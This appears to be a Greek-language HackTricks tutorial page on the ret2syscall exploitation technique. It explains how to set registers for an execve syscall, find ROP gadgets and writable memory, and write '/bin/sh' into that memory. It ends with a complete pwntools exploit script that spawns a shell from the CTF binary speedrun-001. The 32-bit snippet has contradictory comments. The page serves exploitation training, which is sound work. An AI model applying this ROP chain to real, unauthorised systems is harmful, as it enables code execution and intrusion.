Ret2syscall

Ret2syscall

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτήν την περίπτωση δεν θα καλέσουμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτήν την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουν το syscall sys_execve με μερικά ορίσματα για να εκτελέσουν το /bin/sh. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και εντολές syscall.

Για να προετοιμάσουμε την κλήση για το syscall απαιτείται η ακόλουθη διαμόρφωση:

  • rax: 59 Καθορίστε το sys_execve

  • rdi: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση

  • rsi: 0 καθορίστε ότι δεν περνούν ορίσματα

  • rdx: 0 καθορίστε ότι δεν περνούν μεταβλητές περιβάλλοντος

Έτσι, βασικά απαιτείται να γράψουμε τη συμβολοσειρά /bin/sh κάπου και στη συνέχεια να εκτελέσουμε το syscall (έχοντας υπόψη το padding που απαιτείται για τον έλεγχο του stack). Γι' αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το /bin/sh σε μια γνωστή περιοχή.

Ένα άλλο ενδιαφέρον syscall που μπορεί να κληθεί είναι το mprotect το οποίο θα επιτρέψει σε έναν εισβολέα να τροποποιήσει τις άδειες μιας σελίδας στη μνήμη. Αυτό μπορεί να συνδυαστεί με το ret2shellcode.

Gadgets Εγγραφής

Ας ξεκινήσουμε βρίσκοντας πώς να ελέγξουμε αυτούς τους καταχωρητές:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Με αυτές τις διευθύνσεις είναι δυνατόν να γραφτεί το περιεχόμενο στο stack και να φορτωθεί στους registries.

Γράψτε συμβολοσειρά

Εγγράψιμη μνήμη

Πρώτα πρέπει να βρείτε ένα εγγράψιμο μέρος στη μνήμη

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Γράψτε Συμβολοσειρά στη μνήμη

Στη συνέχεια, πρέπει να βρείτε έναν τρόπο για να γράψετε τυχαίο περιεχόμενο σε αυτήν τη διεύθυνση.

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Αυτοματοποίηση ROP αλυσίδας

Η παρακάτω εντολή δημιουργεί μια πλήρη ROP αλυσίδα sys_execve δεδομένου ενός στατικού δυαδικού όταν υπάρχουν γκατζέτ γραφής-τι-που-θέλω και εντολές συστήματος κλήσης:

ROPgadget --binary vuln --ropchain

32 bits

32 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bits

64 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Έλλειψη Gadgets

Αν σας λείπουν gadgets, για παράδειγμα για να γράψετε /bin/sh στη μνήμη, μπορείτε να χρησιμοποιήσετε την τεχνική SROP για να ελέγξετε όλες τις τιμές των registries (συμπεριλαμβανομένων των RIP και των registries παραμέτρων) από το stack:

pageSROP - Sigreturn-Oriented Programming

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

## Άλλα Παραδείγματα & Αναφορές

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bits, χωρίς PIE, nx, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bits, nx, χωρίς PIE, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί. Για να γραφτεί στη στοίβα μια λειτουργία που εκτελεί μαθηματικές πράξεις καταχρηστεύεται.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, χωρίς PIE, nx, BF canary, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.

Last updated